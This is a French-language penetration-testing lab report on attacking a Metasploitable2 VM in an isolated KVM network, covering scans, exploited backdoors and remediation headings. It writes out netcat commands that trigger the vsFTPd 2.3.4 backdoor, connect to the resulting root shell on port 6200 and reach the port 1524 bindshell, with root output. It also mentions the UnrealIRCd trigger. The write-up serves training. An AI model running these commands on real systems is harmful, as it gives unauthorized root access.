Laboratoire de Pentest en Réseau Isolé

Auteur : Daniel Stefan de Jesus dos Reis Date : Septembre/2026 Environnement : Laboratoire personnel KVM sur réseau virtuel isolé pentestlab

Avis de Périmètre et d'Autorisation

Ce test a été réalisé exclusivement contre une machine virtuelle personnelle et intentionnellement vulnérable, distribuée par Rapid7 spécifiquement à des fins de formation en sécurité offensive, au sein d'un réseau virtuel isolé sans accès à internet. Aucun système tiers n'a été accédé. Ce projet a une finalité exclusivement éducative, pour le développement de compétences en tests d'intrusion.

1. Architecture du Laboratoire

• Hyperviseur : KVM/libvirt
• Réseau virtuel : pentestlab (bridge virbr-lab), sous-réseau 192.168.100.0/24, sans <forward> configuré — c'est-à-dire un véritable réseau isolé : les VM communiquent entre elles et avec l'hôte, mais n'ont aucune route vers l'extérieur du laboratoire. XML du réseau dans evidencias/pentestlab_network.xml.
• Hôte attaquant : la machine hôte elle-même, avec l'interface virbr-lab, utilisant nmap, nikto, gobuster, hydra, sqlmap et netcat.
• Cible : VM metasploitable2 (Metasploitable2, Ubuntu 8.04 modifié), IP 192.168.100.90/24, attribuée via DHCP du réseau isolé lui-même.

[ Host / Atacante ]  
        |
   virbr-lab (rede isolada, sem saída para internet)
        |
[ metasploitable2 ] 

2. Méthodologie

J'ai suivi un flux basique de reconnaissance → énumération → exploitation → documentation :

1. Découverte d'hôte et scan complet des ports TCP avec détection de service/version (nmap -sV -sC -p-)
2. Scan de vulnérabilités web (nikto)
3. Priorisation des vulnérabilités connues (CVE) associées aux versions identifiées
4. Exploitation manuelle où toutes les étapes ci-dessous ont été réalisées avec nc, pour comprendre le mécanisme de chaque faille, pas seulement « lancer l'exploit »
5. Documentation des preuves et recommandations de correction

3. Reconnaissance — Scan Complet

Commande : nmap -sV -sC -p- -T4 192.168.100.90 Sortie complète : evidencias/nmap_full_scan.txt

Résumé des services les plus pertinents trouvés :

4. Vulnérabilités Exploitées (confirmées)

4.1 Backdoor dans vsFTPd 2.3.4 — CVE-2011-2523 (Critique)

Entre le 30/06/2011 et le 03/07/2011, le code source du vsFTPd 2.3.4 mis à disposition au téléchargement a été altéré par un attaquant. La version compromise contient une backdoor : en recevant, dans le champ utilisateur du login FTP, une chaîne terminée par :), le serveur ouvre un shell root sur le port TCP 6200, sans aucune authentification.

Étapes exécutées (log complet dans evidencias/vsftpd_backdoor_exploit.txt) :

# 1. Disparar a backdoor enviando USER terminado em ":)"
( printf 'USER test:)\r\n'; sleep 1; printf 'PASS test\r\n'; sleep 2 ) | nc -w 5 192.168.100.90 21

# 2. Conectar na porta 6200, aberta pela backdoor
( printf 'whoami\n'; printf 'id\n'; printf 'uname -a\n'; sleep 2 ) | nc -w 5 192.168.100.90 6200

Résultat :

uid=0(root) gid=0(root)
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

Accès root total obtenu sans authentification.

4.2 Bindshell exposé sur le port 1524/tcp (Critique)

nmap identifie déjà ce service comme Metasploitable root shell — une backdoor laissée intentionnellement dans l'image (vestige d'un exploit antérieur, courant dans les images de formation). Aucune exploitation n'est nécessaire : il suffit de se connecter.

( printf 'whoami\n'; printf 'id\n'; sleep 2 ) | nc -w 4 192.168.100.90 1524

Résultat : uid=0(root) gid=0(root) groups=0(root) — root immédiat.

Log complet dans evidencias/bindshell_1524.txt.

5. Vulnérabilités Identifiées (non exploitées lors de cette session)

5.1 UnrealIRCd 3.2.8.1 — CVE-2010-2075 (Critique, identifiée par version)

La version d'UnrealIRCd tournant sur les ports 6667/6697 correspond à une build historiquement distribuée avec une backdoor (commande AB; suivie d'une commande shell). J'ai tenté de déclencher la backdoor manuellement via nc, mais le serveur a traité l'entrée comme une commande IRC invalide (451 :You have not registered) au lieu d'exécuter la commande — soit cette image spécifique ne contient pas le binaire trojanisé, soit le payload nécessite un ajustement fin que je n'ai pas priorisé lors de cette session. Je consigne cela comme une tentative infructueuse, non comme une vulnérabilité confirmée.

5.2 distccd 3632/tcp — CVE-2004-2687 (Élevée)

Service de compilation distribuée qui accepte des commandes arbitraires de tout client qui s'y connecte, sans authentification. Identifié par version, non exploité lors de cette session.

5.3 Java RMI Registry — port 1099/tcp (Élevée)

Historiquement vulnérable à l'exécution de code à distance via désérialisation. Identifié par version, non exploité lors de cette session.

6. Énumération Web (nikto)

Commande : nikto -h 192.168.100.90 -p 80 Sortie complète : evidencias/nikto_scan.txt

Principales découvertes :

• Apache 2.2.8 obsolète (la série actuelle, à l'époque, était 2.2.22+)
• Méthode HTTP TRACE active (XST potentiel)
• /phpinfo.php exposé publiquement (révèle la configuration de PHP)
• /phpMyAdmin/ accessible sans restriction d'IP
• Listing de répertoire activé dans /doc/, /test/ et /icons/
• Cookie de phpMyAdmin créé sans le flag httponly

7. Recommandations de Correction

8. Ce que ce laboratoire a démontré en pratique

• Reconnaissance et énumération réseau avec nmap (scan complet, détection de service/version, scripts NSE)
• Compréhension du mécanisme d'une backdoor réelle (vsFTPd) et exploitation manuelle via netcat, sans dépendre d'un framework automatisé
• Analyse de vulnérabilités web avec nikto
• Documentation d'un test d'intrusion sous forme de rapport : périmètre, méthodologie, découvertes priorisées par sévérité et recommandations de correction
• Maintien d'un environnement de laboratoire isolé et sûr (réseau virtuel sans accès à internet)

9. Prochaines étapes

• Répéter l'exploitation d'UnrealIRCd avec une version d'image confirmée comme trojanisée, pour clore cette découverte
• Ajouter une seconde machine attaquante dédiée (ex : Kali Linux) au réseau pentestlab, au lieu d'attaquer directement depuis l'hôte
• Étendre ce laboratoire à un scénario Active Directory (projet planifié séparément)